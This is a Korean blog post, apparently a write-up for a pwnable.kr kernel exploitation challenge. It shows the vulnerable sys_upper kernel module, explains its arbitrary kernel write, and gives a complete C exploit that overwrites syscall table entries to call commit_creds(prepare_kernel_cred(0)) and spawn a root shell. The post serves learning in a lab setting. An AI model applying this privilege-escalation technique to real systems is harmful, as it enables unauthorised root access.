후욱 원래 풀이글 올리면 안되지만 첫 커널 익스에 기쁨에 주체하지 못하고 하나만 올려봅니다...
먼저 커널익스시 주의점이 커널 익스시에는 바로 root 를 딸수 없슴당!!
고로 commit_creds(prepare_kernel_cred(0)); 요런식의 함수를 하나 갈겨주고 쉘 따주시면 되는데
요걸 어떻게 갈길건가?? 고건 sys_upper 라는 pwnable.kr 에서 준비한 커널 함수에서 발생함다
// adding a new system call : sys_upper #include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/vmalloc.h> #include <linux/mm.h> #include <asm/unistd.h> #include <asm/page.h> #include <linux/syscalls.h> #define SYS_CALL_TABLE 0x8000e348 // manually configure this address!! #define NR_SYS_UNUSED 223 //Pointers to re-mapped writable pages unsigned int** sct; asmlinkage long sys_upper(char *in, char* out){ int len = strlen(in); int i; for(i=0; i<len; i++){ if(in[i]>=0x61 && in[i]<=0x7a){ out[i] = in[i] - 0x20; } else{ out[i] = in[i]; } } return 0; } static int __init initmodule(void ){ sct = (unsigned int**)SYS_CALL_TABLE; sct[NR_SYS_UNUSED] = sys_upper; printk("sys_upper(number : 223) is added\n"); return 0; } static void __exit exitmodule(void ){ return; } module_init( initmodule ); module_exit( exitmodule );
요런 모양의 함수인데 여기서 어디에 취약점이 발생하냐 하면
out[i] = in [i] - 0x20 이나 out[i] = in[i] 에서 발생함다.
in 에 있는걸 그냥 그대로 out 에 덮어줍니다. 고로 overwrite 가 가능함다.
심지어 어디든지 무엇이든 쓸수 있습니다.
근데 - 0x20 빼는 부분은 어떻게든 더하고 가려 했는데 영 안되서 그냥 패딩으로 때울겁니다.
자 그럼 저 syscall_upper를 이용해서 뭔가를 덮어서 commit_creds(prepare_kernel_cred(0)); 를 하고 system("/bin/sh"); 하면 될거같은데 뭘 덮을까 생각해보니 그냥 같은 커널에 있는 syscall 덮고 그 syscall 을 실행시키면 되겟네 싶어서 어디에 있나 검색좀 하고 삽질 좀 하니
/usr/include/arm-linux-gnueabihf/asm/unistd.h
요런곳에 syscall 이 다 있습니다. 여기서 눈에 익은 함수중 인자가 1개 인 함수를 골라서 번호 메모해 놓으세요!
덮을 함수가 인자 1개짜리라 인자 1개가 편하고 좋습니다. 꼭 1개로 골라주세요.
저같은 경우는 10번에 unlink 랑 13 번에 time 함수를 골랐습니다.
자 이렇게 번호 2개 고르고 commit_creds 랑 prepare_kernel_cred 함수 주소를 구해봅시다
그 전에 commit_creds 랑 prepare_kernel_cred 가 뭐하는 syscall 인지 대충 써보면
prepare_kernel_cred 같은 경우는 0을 인자로 넣으면 init_cred 라는걸 반환해주는데 이건 root 라고 보시면 됩니다.
그리고 commit_creds 가 이 init_cred 를 가지고 cred 를 재설정 해줍니다. 그러면 root 가 되겠져?
쉽게 setreuid(0,0) 과 비슷한 걸 한다고 보시면 되겠습니다.
자 이제 진짜 주소를 구해봅시다.
이런 함수들 주소는 /proc/kallsyms 이런데 몰려있습니다.
시험삼아 cat /proc/kallsyms 하지 마세여 터집니다...
cat /proc/kallsyms | grep "commit_creds"
이랑
cat /proc/kallsyms | grep "prepare_kernel_cred"
로 찾아 주시면
commit_creds : 8003f56c
prepare_kernel_cred : 8003f924
가 나옵니다.
근데 저기있는 0x6c 가 0x61 보다 커서 -0x20 되니까 아까 말한대로 패딩으로 때울거고 패딩은 mov r4,r4 로 합시다
rasm2 -a arm 'mov r4, r4'
하시면
0440a0e1
나옵니다
익....스.....ㄱ
#include<stdio.h>
#include<stdlib.h>
int main(){
unsigned int** a = (unsigned int**)0x8000e348;
syscall(223,"\xe1\xa0\x40\x04\xe1\xa0\x40\x04\xe1\xa0\x40\x04", 0x8003f560); // padding
syscall(223,"\x60\xf5\x03\x80", &a[10]);
syscall(223,"\x24\xf9\x03\x80", &a[13]);
syscall(10,syscall(13,0));
system("/bin/sh");
}
개...기....모....띠.........
'Pwnable' 카테고리의 다른 글
[codegate2017] messanger (0) | 2017.12.04 |
---|---|
[ch4n3 world] Sleepy (0) | 2017.11.22 |
[DIMI] scan (0) | 2017.09.26 |
[Protostar] heap2 (1) | 2017.09.20 |
[CodeGate] BabyMisc (0) | 2017.09.15 |